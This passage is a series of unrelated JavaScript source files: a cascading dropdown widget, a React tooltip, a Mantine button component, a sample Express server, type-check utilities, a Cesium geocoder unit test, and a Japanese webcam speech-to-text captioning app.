CascadingComboBox */]({ id: 'category2', onCreateOption: onCreateOptionCallback, onSelected: onItemSelectedCallback }); mainCombobox.attachChild({ child: combobox2, onCreateChildData: /** * @callback onCreateChildDataCallback * @param {Object} data * @param {CascadingComboBox} target * @returns {Object} */ function (data, target) { return data.children1[0].children2; } }); let combobox3 = new __WEBPACK_IMPORTED_MODULE_0__v3_CascadingComboBox__["a" /* CascadingComboBox */]({ id: 'category3', onCreateOption: onCreateOptionCallback, onSelected: onItemSelectedCallback }); mainCombobox.attachChild({ child: combobox3, onCreateChildData: /** * @callback onCreateChildDataCallback * @param {Object} data * @param {CascadingComboBox} target * @returns {Object} */ function (data, target) { return data.children1[0].children3; } }); /** * * @param {CascadingComboBox} sender * @param {int} index * @param {object} element * @returns {{key, value}} */ function onCreateOptionCallback(sender, index, element) { return { key: element.id, value: element.name } } /** * * @param {CascadingComboBox} sender * @param {object} data * @returns {Array|*|children|HTMLCollection} */ function onCreateChildDataCallback(sender, data) { return data.children; } /** * * @param {CascadingComboBox} sender * @param {int} index */ function onItemSelectedCallback(sender, index) { console.log(`${sender.id} item #${index} seleted.`); } /***/ }), /* 16 */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__SystemUtils__ = __webpack_require__(17); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_assert_js__ = __webpack_require__(1); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_assert_js___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_assert_js__); /** * @typedef {Object} optionType * @property {string} key * @property {string} value */ /** * @callback onCreateChildDataCallback * @param {Object} data * @param {CascadingComboBox} target * @returns {Object} */ /** * @callback onCreateOptionCallback * @param {Number} index * @param {Object} data * @returns {optionType} */ /** * @callback onSelectedCallback * @param {Number} selectedIndex * @param {CascadingComboBox} target */ /** * @typedef {Object} Attachment * @property {CascadingComboBox} child * @property {onCreateChildDataCallback} onCreateChildData */ /** * 連動下拉選單 */ class CascadingComboBox { /** * @param {Object} options * @property {string} id * @property {onCreateOptionCallback} onCreateOption * @property {onSelectedCallback} onSelected * @constructor */ constructor(options) { console.log(options); this.id = options.id; this.domObject = document.getElementById(this.id); __WEBPACK_IMPORTED_MODULE_1_assert_js___default.a.true(__WEBPACK_IMPORTED_MODULE_0__SystemUtils__["c" /* isNotNull */](this.domObject), `HTML 元素 ${this.id} 不存在!`); this.children = []; this.data = []; this.defaultOptions = []; this.onCreateOption = options.onCreateOption; this.onItemSelected = options.onSelected; this.bindEvents(); } /** * 繫結事件 */ bindEvents() { // 當使用者選擇某個項目時會呼叫此函式 this.domObject.onchange = () => { if (__WEBPACK_IMPORTED_MODULE_0__SystemUtils__["d" /* isNull */](this.onItemSelected)) { return; } // 將選取的項目編號傳給使用者指定的 callback this.onItemSelected(this, this.domObject.selectedIndex); // 如果沒設定下層選單,不用處理 if (__WEBPACK_IMPORTED_MODULE_0__SystemUtils__["a" /* isEmpty */](this.children)) { return; } // 如果是選到第一個選項(預設值) if (this.domObject.selectedIndex === 0) { this.clearChildren(); return; } this.updateChildren(); } } /** * 加入子選單 * @param {Attachment} attachment */ attachChild(attachment) { this.children.push(attachment); } /** * 設定資料。 * @param {Object[]} data - 陣列型態的資料 * @param {string[]} defaultOptions - 預設選項 * 如果串接三層, defaultOptions 就要將三層的 key 組成陣列傳入。 * ex: ['GP1601-005', 'GP1611-003', 'GP1611-137'] */ setData(data, defaultOptions) { this.data = data || []; this.defaultOptions = defaultOptions || []; this.fillOptions(); } /** * 填滿選項 */ fillOptions() { // 清除目前的選項 this.clear(); // 根據傳入的資料建立選項 this.data.forEach(this.createOptions.bind(this)); // 如果有子選單而且有預設值 if (__WEBPACK_IMPORTED_MODULE_0__SystemUtils__["b" /* isNotEmpty */](this.children) && this.domObject.selectedIndex > 0) { this.updateChildren(); } } /** * 建立選項 * @param {object} element * @param {int} index - element 的編號 */ createOptions(element, index) { if (__WEBPACK_IMPORTED_MODULE_0__SystemUtils__["d" /* isNull */](this.onCreateOption)) { return; } // 呼叫使用者指定的 callback 將陣列元素轉換成 option let option = this.onCreateOption(this, index, element); // 新增一個選項 let newOption = new Option(option.value, option.key); this.domObject.options[this.domObject.options.length] = newOption; // 有預設選項嗎? if (__WEBPACK_IMPORTED_MODULE_0__SystemUtils__["a" /* isEmpty */](this.defaultOptions)) { return; } // 此選項是否為預設被選取? newOption.defaultOptions = newOption.value === this.defaultOptions[0]; } /** * 清除選項內容,子選單也會一併清除 */ clear() { this.domObject.length = 1; this.clearChildren(); } /** * 清除子選單 */ clearChildren() { this.children.forEach( /** * 呼叫子選單的清除功能 * @param {Attachment} attachment */ (attachment) => { attachment.child.clear(); }); } /** * 更新下層選單 */ updateChildren() { // 將資料設定到下層選單 this.children.forEach( /** * 呼叫子選單的清除功能 * @param {Attachment} attachment */ (attachment) => { if (__WEBPACK_IMPORTED_MODULE_0__SystemUtils__["d" /* isNull */](attachment.onCreateChildData)) { return; } let selectedData = this.data[this.domObject.selectedIndex - 1]; let dataForChild = attachment.onCreateChildData(selectedData, attachment.child); let selectedKeysForChild = []; if (__WEBPACK_IMPORTED_MODULE_0__SystemUtils__["b" /* isNotEmpty */](this.defaultOptions)) { selectedKeysForChild = this.defaultOptions.slice(1); } attachment.child.setData(dataForChild, selectedKeysForChild, attachment.child); } ) } } /* harmony export (immutable) */ __webpack_exports__["a"] = CascadingComboBox; /***/ }), /* 17 */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return isEmpty; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "b", function() { return isNotEmpty; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "d", function() { return isNull; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "c", function() { return isNotNull; }); /** * 判斷物件是否為空值 * @param {*} target - 物件 * @returns {boolean} - true 代表物件為空值,false 代表物件不為空值 */ function isEmpty(target) { let type = typeof target; if (type === 'undefined') { return true; } if (type === 'boolean') { return !target; } if (target === null) { return true; } if (target === undefined) { return true; } if (target instanceof Array) { if (target.length < 1) { return true; } } else if (type === 'string') { if (target.length < 1) { return true; } if (target === '0') { return true; } } else if (type === 'object') { if (Object.keys(target).length < 1) { return true; } } else if (type === 'number') { if (target === 0) { return true; } } return false; } /** * 判斷物件是否不為空值 * @param {*} target - 物件 * @returns {boolean} - true 代表物件不為空值,false 代表物件為空值 */ function isNotEmpty(target) { return !isEmpty(target); } /** * 判斷物件是否為 null * @param {object} target - 物件 * @returns {boolean} - true 代表物件為 null,false 代表物件不為 null */ function isNull(target) { return (target === null) || (target === undefined) || (typeof target === 'undefined'); } /** * 判斷物件是否不為 null * @param {object} target - 物件 * @returns {boolean} - true 代表物件不為 null,false 代表物件為 null */ function isNotNull(target) { return !isNull(target); } /***/ }) /******/ ]);
import styled, { keyframes } from 'styled-components'; import { font, color, boxShadow } from 'shared/utils/styles'; import ReactDOM from 'react-dom'; const Tooltip = ({ isVisible = false, $parent = document.getElementById('root'), text, }) => { const tooltipHasText = text.length > 0; return ( tooltipHasText && ReactDOM.createPortal( <Wrapper isVisible={isVisible}>{text}</Wrapper>, $parent ) ); }; const show = keyframes` 0% { transform: scale(0.95); opacity: 0; } 50% { } 100% { transform: scale(1); opacity: 1; } `; const hide = keyframes` 100% { opacity: 0; } `; const Wrapper = styled.div` opacity: 0; pointer-events: none; z-index: 100; line-height: 20px; box-shadow: ${boxShadow.heavy}; max-width: 280px; transition: opacity 0.2s linear; animation-duration: ${(props) => (props.isVisible ? '0.23s' : '0.15s')}; animation-delay: ${(props) => (props.isVisible ? '0.4s' : 0)}; animation-fill-mode: forwards; animation-name: ${(props) => (props.isVisible ? show : hide)}; color: ${color.text['primary']}; padding: 14px 20px; border-radius: 4px; position: absolute; left: 38px; top: 72px; border: 1px solid #494b61; word-break: break-word; hyphens: auto; text-align: left; ${font.size(14)} height: auto; background-color: ${color.background['tooltip']}; `; export default Tooltip;
import React, { forwardRef } from 'react'; import { getSharedColorScheme } from '@mantine/styles'; import useStyles, { heights } from './Button.styles.js'; import { Loader } from '../Loader/Loader.js'; import { Box } from '../Box/Box.js'; var __defProp = Object.defineProperty; var __getOwnPropSymbols = Object.getOwnPropertySymbols; var __hasOwnProp = Object.prototype.hasOwnProperty; var __propIsEnum = Object.prototype.propertyIsEnumerable; var __defNormalProp = (obj, key, value) => key in obj ? __defProp(obj, key, { enumerable: true, configurable: true, writable: true, value }) : obj[key] = value; var __spreadValues = (a, b) => { for (var prop in b || (b = {})) if (__hasOwnProp.call(b, prop)) __defNormalProp(a, prop, b[prop]); if (__getOwnPropSymbols) for (var prop of __getOwnPropSymbols(b)) { if (__propIsEnum.call(b, prop)) __defNormalProp(a, prop, b[prop]); } return a; }; var __objRest = (source, exclude) => { var target = {}; for (var prop in source) if (__hasOwnProp.call(source, prop) && exclude.indexOf(prop) < 0) target[prop] = source[prop]; if (source != null && __getOwnPropSymbols) for (var prop of __getOwnPropSymbols(source)) { if (exclude.indexOf(prop) < 0 && __propIsEnum.call(source, prop)) target[prop] = source[prop]; } return target; }; const Button = forwardRef((_a, ref) => { var _b = _a, { className, size = "sm", color, type = "button", disabled, children, leftIcon, rightIcon, fullWidth = false, variant = "filled", radius = "sm", component, uppercase = false, compact = false, loading = false, loaderPosition = "left", loaderProps, gradient = { from: "blue", to: "cyan", deg: 45 }, classNames, styles } = _b, others = __objRest(_b, [ "className", "size", "color", "type", "disabled", "children", "leftIcon", "rightIcon", "fullWidth", "variant", "radius", "component", "uppercase", "compact", "loading", "loaderPosition", "loaderProps", "gradient", "classNames", "styles" ]); const { classes, cx, theme } = useStyles({ radius, color, size, fullWidth, compact, gradientFrom: gradient.from, gradientTo: gradient.to, gradientDeg: gradient.deg }, { classNames, styles, name: "Button" }); const colors = getSharedColorScheme({ color, theme, variant }); const loader = /* @__PURE__ */ React.createElement(Loader, __spreadValues({ color: colors.color, size: theme.fn.size({ size, sizes: heights }) / 2 }, loaderProps)); return /* @__PURE__ */ React.createElement(Box, __spreadValues({ component: component || "button", className: cx(classes[variant], { [classes.loading]: loading }, classes.root, className), type, disabled: disabled || loading, ref, onTouchStart: () => { } }, others), /* @__PURE__ */ React.createElement("div", { className: classes.inner }, (leftIcon || loading && loaderPosition === "left") && /* @__PURE__ */ React.createElement("span", { className: cx(classes.icon, classes.leftIcon) }, loading && loaderPosition === "left" ? loader : leftIcon), /* @__PURE__ */ React.createElement("span", { className: classes.label, style: { textTransform: uppercase ? "uppercase" : void 0 } }, children), (rightIcon || loading && loaderPosition === "right") && /* @__PURE__ */ React.createElement("span", { className: cx(classes.icon, classes.rightIcon) }, loading && loaderPosition === "right" ? loader : rightIcon))); }); Button.displayName = "@mantine/core/Button"; export { Button }; //# sourceMappingURL=Button.js.map
'use strict'; // Simple express server var express = require('express'); var path = require('path'); var app = express(); const appRoot = path.normalize(path.join(__dirname, '/..')); console.log('appRoot : ' + appRoot); //Allow CORS app.use(function(req, res, next) { res.header("Access-Control-Allow-Origin", "*"); res.header("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept"); next(); }); //Refer bundled aurelia scripts app.use("/scripts", express.static(path.join(appRoot, 'scripts'))); //Start Aurelia's index.html app.get('/', function(req, res) { res.sendFile('index.html', { root: appRoot }); }); //APIs app.get('/api', function(req, res) { res.send("<h1>Welcome to Express API.</h1>"); }); app.get('/api/users', function(req, res) { let users = [ { 'Id': 1, 'Name': 'Ajay Jadhav', 'Email': 'jadhavajay@gmail.com' }, { 'Id': 2, 'Name': 'Vijay Chavan', 'Email': 'vijay@gmail.com' }, { 'Id': 3, 'Name': 'Sanjay Jha', 'Email': 'sanjay@gmail.com' }, { 'Id': 4, 'Name': 'Rajan Sharma', 'Email': 'rajan@gmail.com' }, ]; res.send(users); }); app.listen(3000);
export function isString(obj) { return Object.prototype.toString.call(obj) === '[object String]' } export function isObject(obj) { return Object.prototype.toString.call(obj) === '[object Object]' } export function isHtmlElement(node) { return node && node.nodeType === Node.ELEMENT_NODE } export const isFunction = (functionToCheck) => { var getType = {} return ( functionToCheck && getType.toString.call(functionToCheck) === '[object Function]' ) } export const isUndefined = (val) => { // eslint-disable-next-line no-void return val === void 0 } export const isDefined = (val) => { return val !== undefined && val !== null }
import { OpenCageGeocoderService } from "../../Source/Cesium.js"; import { Resource } from "../../Source/Cesium.js"; import { when } from "../../Source/Cesium.js"; describe("Core/OpenCageGeocoderService", function () { const endpoint = "https://api.opencagedata.com/geocode/v1/"; const apiKey = "c2a490d593b14612aefa6ec2e6b77c47"; it("constructor throws without url", function () { expect(function () { return new OpenCageGeocoderService(undefined); }).toThrowDeveloperError(); }); it("constructor throws without API Key", function () { expect(function () { return new OpenCageGeocoderService(endpoint, undefined); }).toThrowDeveloperError(); }); it("returns geocoder results", function () { const service = new OpenCageGeocoderService(endpoint, apiKey); const query = "-22.6792,+14.5272"; const data = { results: [ { bounds: { northeast: { lat: -22.6790826, lng: 14.5269016, }, southwest: { lat: -22.6792826, lng: 14.5267016, }, }, formatted: "Beryl's Restaurant, Woermann St, Swakopmund, Namibia", geometry: { lat: -22.6795394, lng: 14.5276006, }, }, ], }; spyOn(Resource.prototype, "fetchJson").and.returnValue(when.resolve(data)); return service.geocode(query).then(function (results) { expect(results.length).toEqual(1); expect(results[0].displayName).toEqual(data.results[0].formatted); expect(results[0].destination).toBeDefined(); }); }); it("returns no geocoder results if OpenCage has no results", function () { const service = new OpenCageGeocoderService(endpoint, apiKey); const query = ""; const data = { results: [] }; spyOn(Resource.prototype, "fetchJson").and.returnValue(when.resolve(data)); return service.geocode(query).then(function (results) { expect(results.length).toEqual(0); }); }); });
// ブラウザ判定 // 参考: https://qiita.com/sakuraya/items/33f93e19438d0694a91d var userAgent = window.navigator.userAgent.toLowerCase(); var isChrome = 0; if (userAgent.indexOf('msie') != -1 || userAgent.indexOf('trident') != -1) { // IE } else if (userAgent.indexOf('edge') != -1) { // Edge } else if (userAgent.indexOf('chrome') != -1) { // Chrome isChrome = 1; } else if (userAgent.indexOf('safari') != -1) { // Safari } else if (userAgent.indexOf('firefox') != -1) { // Firefox } else if (userAgent.indexOf('opera') != -1) { // Opera } else { // その他 } if (!isChrome) { alert('Google Chromeでアクセスしてください') document.getElementById('status').innerHTML = "Google Chromeでアクセスしてください"; document.getElementById('status').className = "error"; exit; } // Webカメラ // 参考: https://qiita.com/qiita_mona/items/e58943cf74c40678050a // getUserMedia が使えないとき if (typeof navigator.mediaDevices.getUserMedia !== 'function') { const err = new Error('getUserMedia()が使用できません'); alert(`${err.name} ${err.message}`); throw err; } const $video = document.getElementById('result_video'); // 映像表示エリア // select要素のoptionをクリアする function clearSelect(select) { while (select.firstChild) { select.removeChild(select.firstChild); } } // select要素のoptionに、option.valueがvalueな項目があれば選択する // 戻り値は、option中に該当項目があればtrue function selectValueIfExists(select, value) { if (value === null || value === undefined) return; var result = false; select.childNodes.forEach(n => { if (n.value === value) { select.value = value; result = true; } }) return result; } // カメラを列挙して select_camera オブジェクトの option に設定 // 参考:https://github.com/webrtc/samples/blob/gh-pages/src/content/devices/input-output/js/main.js // deviceInfos : MediaDeviceInfo[] // 引数は MediaDevices.enumerateDevices() の戻り値の Promise の中身という前提 // 参考:https://developer.mozilla.org/ja/docs/Web/API/MediaDevices/enumerateDevices function updateCameraSelector(deviceInfos) { // 選んだ項目を最後で再度選ぶために記憶 const selectedDevice = select_camera.value; // 既存の選択肢をクリア clearSelect(select_camera); // メディアデバイス一覧のうち、videoinputをoption要素としてselectに追加 for (let i = 0; i !== deviceInfos.length; ++i) { const deviceInfo = deviceInfos[i]; if (deviceInfo.kind === 'videoinput') { const option = document.createElement('option'); option.value = deviceInfo.deviceId; option.text = deviceInfos[i].label || `camera ${select_camera.length + 1}`; select_camera.appendChild(option); } } // 元々選んでいた項目があれば、その項目を再度選択 selectValueIfExists(select_camera, selectedDevice); } // video要素にstreamを設定し、メディア(カメラ、マイク)一覧を返す // 参考:https://github.com/webrtc/samples/blob/gh-pages/src/content/devices/input-output/js/main.js function handleStream(stream) { window.stream = stream; $video.srcObject = stream; return navigator.mediaDevices.enumerateDevices(); } // 設定に基づきカメラ映像を表示 // isInit : カメラ選択肢がない場合だけtrue、他(選択肢切替時や保存された設定からの復元時)は不要 // 参考:https://github.com/webrtc/samples/blob/gh-pages/src/content/devices/input-output/js/main.js function setupCamera(isInit) { if (window.stream) { window.stream.getTracks().forEach(track => { track.stop(); }); } const videoSource = select_camera.value; const constraints = { video: { aspectRatio: { ideal: 1.7777777778 } }, audio: false }; if (isInit !== true) { constraints.video["deviceId"] = videoSource ? { exact: videoSource } : undefined; } navigator.mediaDevices.getUserMedia(constraints) .then(handleStream) .then(updateCameraSelector) .catch(onCameraError); } // カメラ初回起動 function initCamera() { const conf = JSON.parse(localStorage.speech_to_text_config || '{}'); var camera_selected = false; if (typeof conf.select_camera !== 'undefined') { if (selectValueIfExists(select_camera, conf.select_camera)) { // カメラ選択肢が保存され、selectのoption中にあれば選択されたカメラを起動 camera_selected = true; setupCamera(); } } if (!camera_selected) { // カメラ設定がされていなければ、デフォルトカメラで開始 setupCamera(true); // 引数はデフォルトカメラ選択の意 } } function onCameraError(err) { console.log(`カメラ関連の問題:${err.name} / ${err.message}`) alert(`カメラ映像を読み込めませんでした。ブラウザのアクセス制限など,設定を確認してください`); document.getElementById('help_on_error').style.display = 'block'; } // カメラの選択肢を生成 navigator.mediaDevices.enumerateDevices() .then(updateCameraSelector) .then(initCamera) .catch(onCameraError); // 音声認識 // 参考: https://jellyware.jp/kurage/iot/webspeechapi.html var flag_speech = 0; var recognition; var lang = 'ja-JP'; var last_finished = ''; // 最後に確定した部分。確定部分が瞬時に消えるのを防ぐためにここで定義。 var textUpdateTimeoutID = 0; var textUpdateTimeoutSecond = 30; // 音声認識結果が更新されない場合にクリアするまでの秒数(0以下の場合は自動クリアしない) function vr_function() { window.SpeechRecognition = window.SpeechRecognition || webkitSpeechRecognition; recognition = new webkitSpeechRecognition(); recognition.lang = lang; recognition.interimResults = true; recognition.continuous = true; recognition.onsoundstart = function() { document.getElementById('status').innerHTML = "認識中..."; document.getElementById('status').className = "processing"; }; recognition.onnomatch = function() { document.getElementById('status').innerHTML = "音声を認識できませんでした"; document.getElementById('status').className = "error"; }; recognition.onerror = function() { document.getElementById('status').innerHTML = "エラー"; document.getElementById('status').className = "error"; if (flag_speech == 0) vr_function(); }; recognition.onsoundend = function() { document.getElementById('status').innerHTML = "停止中"; document.getElementById('status').className = "error"; vr_function(); }; recognition.onresult = function(event) { var results = event.results; var current_transcripts = ''; // resultsが複数ある場合は全て連結する。 var need_reset = false; for (var i = event.resultIndex; i < results.length; i++) { if (results[i].isFinal) { last_finished = results[i][0].transcript; if (lang == 'ja-JP') { last_finished += '。'; } var result_log = last_finished if (document.getElementById('checkbox_timestamp').checked) { // タイムスタンプ機能 var now = new window.Date(); var Year = now.getFullYear(); var Month = (("0" + (now.getMonth() + 1)).slice(-2)); var Date = ("0" + now.getDate()).slice(-2); var Hour = ("0" + now.getHours()).slice(-2); var Min = ("0" + now.getMinutes()).slice(-2); var Sec = ("0" + now.getSeconds()).slice(-2); var timestamp = Year + '-' + Month + '-' + Date + ' ' + Hour + ':' + Min + ':' + Sec + '&#009;' result_log = timestamp + result_log } document.getElementById('result_log').insertAdjacentHTML('beforeend', result_log + '\n'); textAreaHeightSet(document.getElementById('result_log')); need_reset = true; setTimeoutForClearText(); flag_speech = 0; } else { current_transcripts += results[i][0].transcript; clearTimeoutForClearText(); flag_speech = 1; } } if (document.getElementById('checkbox_hiragana').checked && lang == 'ja-JP') { document.getElementById('result_text').innerHTML = [resultToHiragana(last_finished), resultToHiragana(current_transcripts)].join('<br>'); } else { document.getElementById('result_text').innerHTML = [last_finished, current_transcripts].join('<br>'); } setTimeoutForClearText(); if (need_reset) { vr_function(); } } flag_speech = 0; document.getElementById('status').innerHTML = "待機中"; document.getElementById('status').className = "ready"; recognition.start(); } function updateTextClearSecond() { const sec = Number(document.getElementById('select_autoclear_text').value); if ((!isNaN(sec)) && isFinite(sec) && (sec >= 0)) { textUpdateTimeoutSecond = sec; } } function clearTimeoutForClearText() { if (textUpdateTimeoutID !== 0) { clearTimeout(textUpdateTimeoutID); textUpdateTimeoutID = 0; } } // 変数 textUpdateTimeoutSecond に基づいてタイマーを設定する。 // タイマーの時間切れで、字幕を自動的に消去する。 // 変数の値がゼロ以下の場合はタイマーは設定されない。 // タイマーが既に動いている場合、処理タイミングは後からのもので上書きする。 function setTimeoutForClearText() { if (textUpdateTimeoutSecond <= 0) return; clearTimeoutForClearText(); textUpdateTimeoutID = setTimeout( () => { document.getElementById('result_text').innerHTML = ""; last_finished = ''; // 前回の確定結果もクリアする。 textUpdateTimeoutID = 0; }, textUpdateTimeoutSecond * 1000); } // 認識結果のログのtextareaを自動変形する // 参考: https://webparts.cman.jp/input/textarea/ function textAreaHeightSet(argObj) { // 一旦テキストエリアを小さくしてスクロールバー(縦の長さを取得) argObj.style.height = "10px"; var wSclollHeight = parseInt(argObj.scrollHeight); // 1行の長さを取得する var wLineH = parseInt(argObj.style.lineHeight.replace(/px/, '')); // 最低2行の表示エリアにする if (wSclollHeight < (wLineH * 2)) { wSclollHeight = (wLineH * 2); } // テキストエリアの高さを設定する argObj.style.height = wSclollHeight + "px"; } // 認識を手動で止める(文を区切る) document.addEventListener('keydown', event => { if (event.key === 'Enter') { if (flag_speech == 1) { recognition.stop(); } } }); // 認識結果のログをダウンロードする // 参考: https://qiita.com/kerupani129/items/99fd7a768538fcd33420 function downloadLogFile() { const a = document.createElement('a'); a.href = 'data:text/plain,' + encodeURIComponent(document.getElementById('result_log').value); var now = new window.Date(); var Year = now.getFullYear(); var Month = (("0" + (now.getMonth() + 1)).slice(-2)); var Date = ("0" + now.getDate()).slice(-2); var Hour = ("0" + now.getHours()).slice(-2); var Min = ("0" + now.getMinutes()).slice(-2); var Sec = ("0" + now.getSeconds()).slice(-2); a.download = 'log_' + Year + Month + Date + '_' + Hour + Min + Sec + '.txt'; a.click(); } // 参考: https://blog.katsubemakito.net/html5/fullscreen /** * フルスクリーン開始/終了時のイベント設定 * * @param {function} callback */ function eventFullScreen(callback) { document.addEventListener("fullscreenchange", callback, false); document.addEventListener("webkitfullscreenchange", callback, false); document.addEventListener("mozfullscreenchange", callback, false); document.addEventListener("MSFullscreenChange", callback, false); } /** * フルスクリーンが利用できるか * * @return {boolean} */ function enabledFullScreen() { return ( document.fullscreenEnabled || document.mozFullScreenEnabled || document.documentElement.webkitRequestFullScreen || document.msFullscreenEnabled ); } /** * フルスクリーンにする * * @param {object} [element] */ function goFullScreen(element = null) { const doc = window.document; const docEl = (element === null) ? doc.documentElement : element; let requestFullScreen = docEl.requestFullscreen || docEl.mozRequestFullScreen || docEl.webkitRequestFullScreen || docEl.msRequestFullscreen; requestFullScreen.call(docEl); } /** * フルスクリーンをやめる */ function cancelFullScreen() { const doc = window.document; const cancelFullScreen = doc.exitFullscreen || doc.mozCancelFullScreen || doc.webkitExitFullscreen || doc.msExitFullscreen; cancelFullScreen.call(doc); } /** * フルスクリーン中のオブジェクトを返却 */ function getFullScreenObject() { const doc = window.document; const objFullScreen = doc.fullscreenElement || doc.mozFullScreenElement || doc.webkitFullscreenElement || doc.msFullscreenElement; return (objFullScreen); } const FullScreenBtn = document.querySelector("#FullScreenBtn"); // フルスクリーン化ボタン const objResultText = document.querySelector("#result_text"); var font_size_windowed = parseFloat(getComputedStyle(objResultText).getPropertyValue('font-size')); var flag_font_size_styled = 0; window.onload = () => { vr_function(); const video_doc = document.querySelector("#video_wrapper"); // フルスクリーンにするオブジェクト //-------------------------------- // [event] 開始ボタンをクリック //-------------------------------- FullScreenBtn.addEventListener("click", () => { if (getFullScreenObject()) { // フルスクリーンを解除 cancelFullScreen(video_doc); } else { // フルスクリーンを開始 if (!enabledFullScreen()) { alert("フルスクリーンに対応していません"); return (false); } goFullScreen(video_doc); } }); //-------------------------------- // フルスクリーンイベント //-------------------------------- eventFullScreen(() => { // ボタンを入れ替える if (getFullScreenObject()) { // フルスクリーン時に文字と画面の比率を維持 const ratio = window.parent.screen.height / document.querySelector("#result_video").clientHeight font_size_windowed = parseFloat(getComputedStyle(objResultText).getPropertyValue('font-size')); if (objResultText.style.fontSize) { // スライダーでフォントサイズの指定がされているかどうかを記録 flag_font_size_styled = 1; font_size_windowed = parseFloat(getComputedStyle(objResultText).fontSize); } document.querySelector('#result_text').style.fontSize = parseFloat(getComputedStyle(objResultText).getPropertyValue('font-size')) * ratio + 'px'; console.log("フルスクリーン開始"); } else { // フルスクリーン時から通常画面に戻るときに文字と画面の比率を維持 if (flag_font_size_styled) { document.querySelector('#result_text').style.fontSize = document.querySelector("#value_font_size").textContent + 'px'; } else { // スライダーでフォントサイズの指定がされていなかった(デフォルトだった)場合は単にstyleのfontSizeを削除する // 分割表示時のデフォルトCSSを活かすため document.querySelector('#result_text').style.fontSize = ''; } console.log("フルスクリーン終了"); } }); initConfig(); }; // 言語切替 // 参考: https://www.google.com/intl/ja/chrome/demos/speech.html var langs = [ ['Japanese', ['ja-JP']], ['English', ['en-US', 'United States'], ['en-AU', 'Australia'], ['en-CA', 'Canada'], ['en-IN', 'India'], ['en-KE', 'Kenya'], ['en-TZ', 'Tanzania'], ['en-GH', 'Ghana'], ['en-NZ', 'New Zealand'], ['en-NG', 'Nigeria'], ['en-ZA', 'South Africa'], ['en-PH', 'Philippines'], ['en-GB', 'United Kingdom'], ], ['Afrikaans', ['af-ZA']], ['አማርኛ', ['am-ET']], ['Azərbaycanca', ['az-AZ']], ['বাংলা', ['bn-BD', 'বাংলাদেশ'], ['bn-IN', 'ভারত'] ], ['Bahasa Indonesia', ['id-ID']], ['Bahasa Melayu', ['ms-MY']], ['Català', ['ca-ES']], ['Čeština', ['cs-CZ']], ['Dansk', ['da-DK']], ['Deutsch', ['de-DE']], ['Español', ['es-AR', 'Argentina'], ['es-BO', 'Bolivia'], ['es-CL', 'Chile'], ['es-CO', 'Colombia'], ['es-CR', 'Costa Rica'], ['es-EC', 'Ecuador'], ['es-SV', 'El Salvador'], ['es-ES', 'España'], ['es-US', 'Estados Unidos'], ['es-GT', 'Guatemala'], ['es-HN', 'Honduras'], ['es-MX', 'México'], ['es-NI', 'Nicaragua'], ['es-PA', 'Panamá'], ['es-PY', 'Paraguay'], ['es-PE', 'Perú'], ['es-PR', 'Puerto Rico'], ['es-DO', 'República Dominicana'], ['es-UY', 'Uruguay'], ['es-VE', 'Venezuela'] ], ['Euskara', ['eu-ES']], ['Filipino', ['fil-PH']], ['Français', ['fr-FR']], ['Basa Jawa', ['jv-ID']], ['Galego', ['gl-ES']], ['ગુજરાતી', ['gu-IN']], ['Hrvatski', ['hr-HR']], ['IsiZulu', ['zu-ZA']], ['Íslenska', ['is-IS']], ['Italiano', ['it-IT', 'Italia'], ['it-CH', 'Svizzera'] ], ['ಕನ್ನಡ', ['kn-IN']], ['ភាសាខ្មែរ', ['km-KH']], ['Latviešu', ['lv-LV']], ['Lietuvių', ['lt-LT']], ['മലയാളം', ['ml-IN']], ['मराठी', ['mr-IN']], ['Magyar', ['hu-HU']], ['ລາວ', ['lo-LA']], ['Nederlands', ['nl-NL']], ['नेपाली भाषा', ['ne-NP']], ['Norsk bokmål', ['nb-NO']], ['Polski', ['pl-PL']], ['Português', ['pt-BR', 'Brasil'], ['pt-PT', 'Portugal'] ], ['Română', ['ro-RO']], ['සිංහල', ['si-LK']], ['Slovenščina', ['sl-SI']], ['Basa Sunda', ['su-ID']], ['Slovenčina', ['sk-SK']], ['Suomi', ['fi-FI']], ['Svenska', ['sv-SE']], ['Kiswahili', ['sw-TZ', 'Tanzania'], ['sw-KE', 'Kenya'] ], ['ქართული', ['ka-GE']], ['Հայերեն', ['hy-AM']], ['தமிழ்', ['ta-IN', 'இந்தியா'], ['ta-SG', 'சிங்கப்பூர்'], ['ta-LK', 'இலங்கை'], ['ta-MY', 'மலேசியா'] ], ['తెలుగు', ['te-IN']], ['Tiếng Việt', ['vi-VN']], ['Türkçe', ['tr-TR']], ['اُردُو', ['ur-PK', 'پاکستان'], ['ur-IN', 'بھارت'] ], ['Ελληνικά', ['el-GR']], ['български', ['bg-BG']], ['Pусский', ['ru-RU']], ['Српски', ['sr-RS']], ['Українська', ['uk-UA']], ['한국어', ['ko-KR']], ['中文', ['cmn-Hans-CN', '普通话 (中国大陆)'], ['cmn-Hans-HK', '普通话 (香港)'], ['cmn-Hant-TW', '中文 (台灣)'], ['yue-Hant-HK', '粵語 (香港)'] ], ['हिन्दी', ['hi-IN']], ['ภาษาไทย', ['th-TH']] ]; for (var i = 0; i < langs.length; i++) { select_language.options[i] = new Option(langs[i][0], i); } // デフォルトの言語を設定 select_language.selectedIndex = 0; updateCountry(); select_dialect.selectedIndex = 0; function updateCountry() { for (var i = select_dialect.options.length - 1; i >= 0; i--) { select_dialect.remove(i); } var list = langs[select_language.selectedIndex]; for (var i = 1; i < list.length; i++) { select_dialect.options.add(new Option(list[i][1], list[i][0])); } select_dialect.style.display = list[1].length == 1 ? 'none' : 'inline'; updateLanguage() } function updateLanguage() { var flag_recognition_stopped = 0; if (recognition) { recognition.stop(); flag_recognition_stopped = 1; } lang = select_dialect.value; if (flag_recognition_stopped) { vr_function(); } var el_status_kuromoji_loading = document.getElementById('status_kuromoji_loading'); var el_checkbox_hiragana = document.getElementById('checkbox_hiragana_wrapper'); if (lang == 'ja-JP') { el_status_kuromoji_loading.style.display = "inline-block"; el_checkbox_hiragana.style.display = "inline"; } else { 